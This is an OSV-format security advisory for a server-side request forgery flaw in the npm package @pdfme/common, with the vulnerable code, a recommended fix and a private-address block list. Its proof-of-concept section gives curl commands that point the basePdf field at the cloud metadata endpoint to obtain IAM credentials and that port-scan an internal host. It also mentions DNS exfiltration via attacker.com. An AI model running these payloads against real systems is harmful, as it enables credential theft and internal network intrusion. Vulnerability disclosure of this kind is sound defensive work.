Vulnerabilities in pkg:npm/@pdfme/common

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pgx6-7jcq-2qff",
  "modified" : "2026-03-20T20:45:17Z",
  "published" : "2026-03-20T20:45:17Z",
  "aliases" : [ ],
  "summary" : "PDFME has SSRF via Unvalidated URL Fetch in `getB64BasePdf` When `basePdf` Is Attacker-Controlled",
  "details" : "## Summary\n\nThe `getB64BasePdf` function in `@pdfme/common` fetches arbitrary URLs via `fetch()` without any validation when `basePdf` is a non-data-URI string and `window` is defined. An attacker who can control the `basePdf` field of a template (e.g., through a web application that accepts user-supplied templates) can force the server or client to make requests to arbitrary internal or external endpoints, enabling Server-Side Request Forgery (SSRF) in SSR contexts or blind request forgery in browser contexts.\n\n## Details\n\nThe vulnerability exists in `packages/common/src/helper.ts:130-141`. When `getB64BasePdf` receives a string that does not start with `data:application/pdf;`, and `window` is defined, it passes the string directly to `fetch()`:\n\n```typescript\n// packages/common/src/helper.ts:130-141\nexport const getB64BasePdf = async (\n  customPdf: ArrayBuffer | Uint8Array | string,\n): Promise<string> => {\n  if (\n    typeof customPdf === 'string' &&\n    !customPdf.startsWith('data:application/pdf;') &&\n    typeof window !== 'undefined'\n  ) {\n    const response = await fetch(customPdf);  // <-- No URL validation\n    const blob = await response.blob();\n    return blob2Base64Pdf(blob);\n  }\n  // ...\n};\n```\n\nThe Zod schema for `basePdf` in `packages/common/src/schema.ts:133-135` accepts any string:\n\n```typescript\nexport const CustomPdf = z.union([z.string(), ArrayBufferSchema, Uint8ArraySchema]);\nexport const BasePdf = z.union([CustomPdf, BlankPdf]);\n```\n\nThe `checkGenerateProps` function at `packages/common/src/helper.ts:279` only validates the Zod schema shape, which permits any string value. No URL allowlist, protocol restriction, or private IP filtering exists anywhere in the pipeline.\n\nThis function is called from multiple entry points:\n- `packages/generator/src/helper.ts:42` — during PDF generation\n- `packages/ui/src/hooks.ts:67` — during UI rendering\n- `packages/ui/src/helper.ts:292` — during template processing\n\nThe `typeof window !== 'undefined'` guard is commonly satisfied in SSR environments (Next.js, Nuxt with jsdom, Cloudflare Workers) where `window` is polyfilled but `fetch` has full network access without CORS restrictions.\n\n## PoC\n\n### 1. Setup a vulnerable application\n\n```javascript\n// server.js — Next.js API route or Express handler using pdfme\nimport { generate } from '@pdfme/generator';\n\nexport async function POST(req) {\n  const { template, inputs } = await req.json();\n  // Application accepts user-provided templates\n  const pdf = await generate({ template, inputs, plugins: {} });\n  return new Response(pdf);\n}\n```\n\n### 2. Probe internal services via SSRF\n\n```bash\n# Attacker sends a template with basePdf pointing to an internal service\ncurl -X POST http://target-app.com/api/generate-pdf \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"template\": {\n      \"basePdf\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\n      \"schemas\": [[]]\n    },\n    \"inputs\": [{}]\n  }'\n```\n\n### 3. Port scanning internal network\n\n```bash\n# Scan internal hosts by observing response timing differences\nfor port in 80 443 3306 5432 6379 8080; do\n  curl -s -o /dev/null -w \"%{time_total}\" -X POST http://target-app.com/api/generate-pdf \\\n    -H 'Content-Type: application/json' \\\n    -d \"{\n      \\\"template\\\": {\n        \\\"basePdf\\\": \\\"http://10.0.0.1:${port}/\\\",\n        \\\"schemas\\\": [[]]\n      },\n      \\\"inputs\\\": [{}]\n    }\"\n  echo \" - port $port\"\ndone\n```\n\n### 4. Exfiltrate cloud metadata (AWS example)\n\n```bash\n# In SSR context, fetch reads the full response body and converts to base64\ncurl -X POST http://target-app.com/api/generate-pdf \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"template\": {\n      \"basePdf\": \"http://169.254.169.254/latest/meta-data/\",\n      \"schemas\": [[]]\n    },\n    \"inputs\": [{}]\n  }'\n# The fetch will succeed; the response will fail PDF parsing,\n# but error messages or timing differences leak information\n```\n\n## Impact\n\n- **Cloud metadata exfiltration**: In SSR deployments on AWS/GCP/Azure, attackers can reach instance metadata endpoints (`169.254.169.254`) to steal IAM credentials, API tokens, and service account keys.\n- **Internal network reconnaissance**: Attackers can probe internal services, discover open ports, and map network topology by observing response timing and error differences.\n- **Internal service access**: Requests to internal APIs (databases, caches, admin panels) that are not exposed to the internet but accessible from the server.\n- **Blind request forgery in browsers**: Even with CORS restrictions limiting response reading, attackers can trigger state-changing requests to internal services (GET-based actions, webhook triggers).\n- **Data exfiltration via DNS**: Attackers can use DNS-based exfiltration by crafting URLs like `http://<stolen-data>.attacker.com` to leak information even when responses are not readable.\n\n## Recommended Fix\n\nAdd URL validation in `getB64BasePdf` before calling `fetch()`. At minimum, restrict to HTTPS and block private/reserved IP ranges:\n\n```typescript\n// packages/common/src/helper.ts\n\nconst BLOCKED_HOSTNAME_PATTERNS = [\n  /^localhost$/i,\n  /^127\\./,\n  /^10\\./,\n  /^172\\.(1[6-9]|2\\d|3[01])\\./,\n  /^192\\.168\\./,\n  /^169\\.254\\./,\n  /^0\\./,\n  /^\\[::1\\]/,\n  /^\\[fc/i,\n  /^\\[fd/i,\n  /^\\[fe80:/i,\n];\n\nfunction validatePdfUrl(urlString: string): void {\n  let parsed: URL;\n  try {\n    parsed = new URL(urlString);\n  } catch {\n    throw new Error(`Invalid basePdf URL: ${urlString}`);\n  }\n\n  if (parsed.protocol !== 'https:' && parsed.protocol !== 'http:') {\n    throw new Error(`basePdf URL must use http or https protocol, got: ${parsed.protocol}`);\n  }\n\n  const hostname = parsed.hostname;\n  for (const pattern of BLOCKED_HOSTNAME_PATTERNS) {\n    if (pattern.test(hostname)) {\n      throw new Error(`basePdf URL must not point to private/reserved addresses`);\n    }\n  }\n}\n\nexport const getB64BasePdf = async (\n  customPdf: ArrayBuffer | Uint8Array | string,\n): Promise<string> => {\n  if (\n    typeof customPdf === 'string' &&\n    !customPdf.startsWith('data:application/pdf;') &&\n    typeof window !== 'undefined'\n  ) {\n    validatePdfUrl(customPdf);  // <-- Add validation before fetch\n    const response = await fetch(customPdf);\n    const blob = await response.blob();\n    return blob2Base64Pdf(blob);\n  }\n  // ...\n};\n```\n\nAdditionally, consider documenting the security implications of passing user-controlled data as `basePdf` and providing an option for applications to supply their own URL validator or allowlist.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@pdfme/common"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.5.10"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.5.9"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pdfme/pdfme/security/advisories/GHSA-pgx6-7jcq-2qff"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pdfme/pdfme"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-20T20:45:17Z",
    "nvd_published_at" : null
  }
}